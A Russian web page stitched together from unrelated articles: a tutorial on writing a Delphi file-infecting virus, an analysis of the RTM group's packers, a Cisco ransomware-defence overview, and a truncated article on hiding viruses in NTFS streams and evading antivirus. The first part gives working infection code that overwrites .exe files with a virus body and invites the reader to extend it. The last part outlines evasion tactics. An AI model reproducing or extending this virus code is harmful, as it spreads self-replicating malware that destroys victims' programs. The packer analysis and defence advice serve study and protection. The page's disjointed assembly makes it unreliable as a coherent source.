Как хакеры загружают вирусы

Обновлено: 24.04.2024

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле

Создание уникального вредоносного ПО требует больших ресурсов, поэтому многие хакерские группировки используют в своих атаках массовое, часто публично доступное ВПО. Широкое использование неизбежно приводит к тому, что такой инструмент попадает на радары антивирусных компаний, а его эффективность снижается.

Полная версия данного исследования доступна по ссылке.

Packer-as-a-service

Хакерская группа, стоящая за распространением RTM, до конца 2020 года регулярно проводила массовые фишинговые рассылки с вредоносными вложениями. Этот процесс, по всей видимости, происходил автоматически.

Каждое такое вложение содержало существенно отличающиеся друг от друга файлы, при этом итоговая полезная нагрузка практически не менялась.

Пример архива RTM

Пример архива RTM

При исследовании по-новому упакованных образцов нам удалось обнаружить множество другого ВПО, которое было защищено аналогичным образом. Пересечения с другими вредоносами с учетом автоматизации процесса упаковки, на наш взгляд, позволяют говорить об использовании злоумышленниками модели packer-as-a-service. В этой модели упаковка вредоносных файлов делегируется специальному сервису, которым управляет третья сторона. Доступ к таким сервисам часто продается на хакерских форумах.

Rex3Packer

Первое использование этого пакера группой RTM, которое нам удалось обнаружить, относится к ноябрю 2019 года. Активное же его применение, по нашим данным, приходится на период апрель—май 2020 года.

Фишинговое письмо RTM, январь 2021

Фишинговое письмо RTM, январь 2021

Нам не удалось связать этот упаковщик с каким-либо из ранее описанных публично, поэтому мы дали ему свое название по трем особенностям его устройства: наличию рекурсии (recursion), реверса битов (reverse) и рефлективной загрузки PE-файлов (reflection) — Rex3Packer.

Алгоритм распаковки

Общий алгоритм извлечения полезной нагрузки выглядит так:

С помощью VirtualAlloc выделяется заранее определенное количество памяти с правами на чтение, запись и исполнение.

В выделенный буфер копируется содержимое образа текущего процесса в памяти (в частности, секция .text).

Управление передается на функцию внутри буфера.

Вычисляется разница между положением одних и тех же данных в буфере и в образе PE-файла (разность между адресами в буфере и виртуальными адресами в образе). Эта разность заносится в регистр ebx. Все обращения к виртуальным адресам в коде проиндексированы содержимым этого регистра. За счет этого везде, где это необходимо, к адресам из PE-образа добавляется поправка, которая позволяет получить соответствующий адрес в буфере.

Выделяется еще один буфер под упакованные данные.

Через вызов VirtualProtect устанавливаются права RWX на весь регион памяти с образом PE-файла.

Упакованные данные копируются в свой буфер.

Происходит декодирование упакованных данных.

Регион памяти с образом PE заполняется нулевыми байтами.

Декодированные данные представляют собой исполняемый файл — PE-нагрузку. Эта полезная нагрузка рефлективно загружается на место исходного PE-образа, а управление передается на ее точку входа.

Отдельный интерес представляет специфический алгоритм декодирования упакованных данных. В данном случае некорректно говорить об упаковке как о сжатии: алгоритм устроен так, что размер упакованных данных всегда больше размера исходных.

Непосредственно упакованным данным предшествует заголовок размером 16 байт, который содержит 4 поля по 4 байта:

размер самого заголовка,

размер исходных данных (PE-нагрузки),

позиция в исходных данных (*), по которой происходит их разделение,

режим кодирования (1, 2, либо 4).

Декодирование выполняется следующим образом:

Внутри каждого байта выполняется реверс порядка битов (к примеру, 10011000 становится 00011001).

В зависимости от режима кодирования (1, 2, 4), данные разбиваются на блоки размером N = 9, 5, либо 3 байта соответственно. Результат декодирования блока — это (N – 1) байт (то есть 8, 4, или 2).

В первых N-1 байтах блока отсутствует часть битов: их значения всегда равны нулю. Чтобы восстановить оригинальные байты, с помощью масок вида 00000001, 00010001 или 01010101 из последнего байта блока извлекаются недостающие биты. При этом для каждого следующего байта маска сдвигается. То есть последний байт блока фактически составлен из объединенных логической операцией OR битов, которые извлечены из предыдущих байтов.

Например, в режиме 4 последний байт состоит из четных битов первого байта блока и нечетных битов второго байта блока. В результате возврата этих битов в первый и второй байты получается оригинальная последовательность из двух байт.

Схема получения исходных байтов в режиме 4

Схема получения исходных байтов в режиме 4

4. После операции по восстановлению битов во всех блоках полученные данные представляют собой исходный PE-файл, который был разделен по позиции (*) на две части. Эти части, в свою очередь, были переставлены между собой. Обратная перестановка с учетом значения (*) позволяет получить оригинальный файл.

Обфускация

Чтобы усложнить анализ кода, в пакере применяется различного рода запутывание:

В промежутках между исполнением полезных команд делаются вызовы различных функций WinAPI. Их результаты сохраняются, но не используются, а сами функции выбираются так, чтобы не влиять на работу программы.

Характерная особенность данного пакера — наличие циклов (не выполняющих полезных операций), которые реализуются через рекурсивную функцию.

Для дополнительного запутывания в исполняемый файл добавляется несколько десятков случайно сгенерированных функций. Они могут ссылаться друг на друга, но в процессе работы ни одна из них не получает управления.

Использование

Кроме экземпляров RTM, мы обнаружили использование Rex3Packer для упаковки различного ВПО, в основном из стран СНГ.

Также мы отметили использование пакера для упаковки экземпляров ВПО из семейств Nemty, Pony, Amadey.

HellowinPacker

В мае 2020 группа RTM переключилась на использование нового упаковщика — HellowinPacker, который продолжала активно использовать до начала 2021 года. Ключевой особенностью этого пакера является два уровня мутации кода. Первый из них существенно меняет структуру кода распаковки, делая различные образцы не похожими друг на друга.

Сравнение кода в двух экземплярах разной структуры

Сравнение кода в двух экземплярах разной структуры

Второй уровень меняет лишь отдельные детали при неизменной в целом структуре кода. При этом изменения главным образом затрагивают ассемблерные инструкции и не влияющие на работу программы константы. В результате в декомпилированном виде код выглядит практически идентичным.

Сравнение кода в двух экземплярах одной структуры

Сравнение кода в двух экземплярах одной структуры

Так же, как и в случае с Rex3Packer, мы имеем дело с массовым использованием HellowinPacker для упаковки различного ВПО. При этом вредоносное ПО из одного семейства, как правило, имеет в упакованном виде одну и ту же структуру. Это можно пронаблюдать, по крайней мере, на протяжении некоторого времени — затем структура может измениться.

Алгоритм распаковки

Одни из первых действий, которые встречаются во всех упакованных файлах — это попытки открыть ключ реестра HKEY_CLASSES_ROOT\Interface\ (регистр символов в конкретном случае может отличаться) и запросить в нем значение по умолчанию (Default). От успешности этих операций в некоторых модификациях генерируемого кода зависит корректное продолжение работы программы.

GUID интерфейса в разных случаях также может отличаться.

Дальнейший код некоторым образом получает адрес, по которому располагается блок зашифрованных данных.

Этот блок начинается с четырехбайтного числа, которое хранит размер исходных данных (тех, которые будут получены после декодирования). Вызовом VirtualAlloc под расшифрованные данные выделяется блок памяти нужного размера с правами RWX. В выделенную память блоками по X байт копируются зашифрованные данные. При этом в оригинальном файле между этими блоками располагаются пропуски длиной Y байт.

Схема копирования данных в HellowinPacker

Схема копирования данных в HellowinPacker

Затем происходит процесс дешифровки блоками по 4 байта:

очередной блок интерпретируется как целое число (DWORD),

к его значению прибавляется индекс первого байта в блоке,

выполняется операция xor между полученным значением и суммой индекса и фиксированного ключа, числа Z.

Обфускация

Как и в случае с Rex3Packer, в экземплярах с HellowinPacker встречаются вызовы функций WinAPI, не относящихся к основной логике программы. Однако в данном случае они используются скорее как способ затруднить поведенческий анализ и детектирование в песочницах. В пользу этого предположения говорит то, что в большинстве случаев разнообразные функции вызываются подряд в самом начале программы.

Точка входа в одной из упакованных библиотек

Точка входа в одной из упакованных библиотек

Дополнительным эффектом от такого использования WinAPI становится невозможность детектирования по списку импортируемых функций и imphash.

При работе с различными числовыми значениями часто встречается некоторая арифметическая обфускация: необходимые константы представляются в виде суммы или разности других констант (в определенных случаях равной нулю). При этом для получения констант могут быть использованы и вызовы функций WinAPI, дающие предсказуемый результат (например, 0 в случае неудачи).

Использование

HellowinPacker существует по крайней мере с 2014 года. За это время он был использован в различном массовом вредоносном ПО. Вот лишь несколько примеров:


Большинство людей слышали о вирусах-вымогателях (если вы не знаете, что это такое, посмотрите здесь). Но как именно они работают? Почему приносят такой вред? И как организации могут защититься от них? Правительство США недавно заявило о том, что направит больше усилий на противодействие вирусам-вымогателям и другим кибератакам, но также подчеркнуло значимость содействия со стороны частного сектора. В то же время частный сектор требует от правительства более решительных мер по борьбе с этой угрозой, приобретающей все большие масштабы.

Почему вирусы-вымогатели так опасны, особенно сейчас?

А разве нельзя просто заплатить вымогателям?

Хотя суммы, запрашиваемые вымогателями, могут достигать миллионов долларов, такая цена за восстановление данных может оказаться меньше, чем убытки, связанные с замедлением или нарушением (особенно когда речь идет о важнейшей инфраструктуре) работы всего предприятия. Так почему же просто не заплатить выкуп?

Специалисты по безопасности и правительственные эксперты рекомендуют компаниям не поддаваться на шантаж, так как это ведет за собой продолжение цикла атак. Если злоумышленнику удается получить выкуп от жертвы, это побуждает его снова атаковать те организации, которые готовы платить. К тому же, даже если организация решит заплатить выкуп, совсем не факт, что данные будут восстановлены, а конфиденциальная информация не уйдет на сторону.

Как именно злоумышленники получают доступ?

Хакеры могут проникать в сеть разными способами. Очень часто для хищения учетных данных и/или побуждения сотрудников перейти по вредоносной ссылке или открыть вложение используется фишинг и психологические атаки. Кроме того, вирусы могут содержаться на зараженных веб-сайтах или просто использовать известные уязвимости ПО на сетевом периметре организации. В некоторых случаях злоумышленники могут сначала взломать систему бизнес-партнера, поставщика услуг организации или сторонних лиц, чтобы в конечном итоге поразить намеченную цель.

Чтобы сделать атаку максимально прибыльной, операторы вирусов-вымогателей, как правило, дожидаются того момента, когда получат доступ к большому сегменту сети, прежде чем приступать к развертыванию вируса. Основной целью систем защиты является предотвращение доступа хакеров к сети, но не менее важно внедрять правильные политики, ограничивающие разрешенные пользователям действия, на случай получения контроля над сетью или учетной записью.

Что можно сделать, чтобы защититься от вирусов-вымогателей?

Вирусные атаки очень многогранны, а значит такой же должна быть и система защиты. Отдельной технологии или методике это не под силу. Защиту от вирусов-вымогателей нужно воспринимать как непрерывный, многоуровневый процесс. Необходимо внедрять лучшие технологии, поддерживать их актуальность (для противодействия новым угрозам) и обеспечить интеграцию (чтобы все решения работали слаженно и дублировали друг друга).

В борьбе с вирусами-вымогателями важную роль играет информированность конечных пользователей: они должны знать, каковы последствия бездумного просмотра сайтов и перехода по ссылкам. Однако, по мнению старшего консультанта руководителей отделов информационной безопасности Cisco, Венди Нейзер (Wendy Nather), все это можно делать правильно или неправильно.

Рекомендации по защите от вирусов-вымогателей

Если вы не знаете, с чего начать защиту от вирусов-вымогателей, начните с базовой культуры кибербезопасности. Некоторые из ее элементов могут показаться банальными, но их часто упускают из вида из-за недостатка ресурсов, более приоритетных проектов и задач и т. д. Злоумышленники знают об этом и часто используют подобные уязвимости и слабости.

Регулярно обновляйте системы и применяйте исправления. Автоматическая (по возможности) установка исправлений поможет предотвратить взломы и утечку данных, а также снизит нагрузку на специалистов по ИТ и безопасности. Мы проанализировали 25 рекомендаций в исследовании, посвященном эффективности программ по безопасности за 2021 г., и выяснили, что упреждающее обновление технологий оказывает максимальное влияние на повышение общей эффективности защиты.

Обязательно выполняйте резервное копирование данных на случай нештатных ситуаций. Храните резервные копии на автономных носителях, чтобы хакеры не могли получить к ним доступ. Разработайте план восстановления, который позволит проводить масштабное восстановление данных, не затрагивая бизнес-процессы.

Ведите точные и актуальные записи инвентаризации активов. Старые, забытые компьютеры часто становятся отправной точкой для злоумышленников.

Регулярно проводите оценку рисков, чтобы своевременно выявлять уязвимости в инфраструктуре.

Реализуйте шифрование конфиденциальных данных и сегментацию сети: это затруднит доступ злоумышленников к критически важным системам.

Будьте в курсе новых угроз и тактик защиты и внедрите надежный план реагирования на инциденты, который помог бы противостоять непредвиденным угрозам. Такие организации, как Cisco Talos, предлагают услуги реагирования на инциденты, которые помогут вам подготовиться к взломам и принять адекватные меры по реагированию и восстановлению.

Полезные технологии

И, конечно же, обязательно внедрите комплекс решений безопасности, чтобы охватить широкий вектор атак, используемых злоумышленниками. Мы рекомендуем в том числе следующие решения:

Межсетевой экран нового поколения и IPS-система ― защитите сеть от атак, реализуя современные технологии межсетевых экранов и предотвращения вторжений (IPS).

Обеспечение безопасности эл. почты ― блокируйте вирусы-вымогатели, поступающие через спам и фишинг, и автоматически выявляйте вредоносные вложения и URL-адреса.

Обеспечение безопасности Интернета и облака ― защитите пользователей от вирусов-вымогателей и другого вредоносного ПО во время работы в Интернете или использования облачных приложений.

Защита оконечных устройств ― выявляйте и устраняйте угрозы, которые могут заражать различные оконечные устройства в сети.

Защищенный доступ ― обеспечьте доступ к ресурсам только для авторизованных пользователей и устройств, внедрив многофакторную проверку подлинности (MFA) и другие защитные меры.

Контроль и аналитика сетевых ресурсов ― отслеживание всего происходящего в сети позволит быстро выявить аномальное поведение. Используйте решение, которое может анализировать как зашифрованный, так и незашифрованный трафик.

Используя эти и другие технологии, организации должны реализовывать в сфере безопасности принцип нулевого доверия: никакие пользователи, устройства и приложения не должны считаться по умолчанию надежными. Система безопасности, основанная на принципе нулевого доверия, затрудняет доступ злоумышленников и успешный запуск вирусов-вымогателей в вашей сети.

Продукты для защиты от вирусов-вымогателей Cisco Ransomware Defense

Если вам нужна помощь в реализации стратегии защиты от вирусов-вымогателей, в портфеле Cisco Secure вы найдете все вышеперечисленные технологии и много других решений. Дополнительная эффективность достигается за счет интеграции в рамках платформы Cisco SecureX и поддержки со стороны ведущих специалистов по аналитике угроз из группы Cisco Talos.

Если вас заинтересовала эта тема, рекомендуем ознакомиться с эксклюзивным интервью Cisco Talos с оператором вирусов-вымогателей, чтобы получить представление о человеческом факторе угроз. Если вас интересует технический анализ всех новых атак, подпишитесь на блог Cisco Talos.


Пара вступительных слов

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Продолжение доступно только участникам

Вариант 2. Открой один материал

Крис Касперски

Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Читайте также: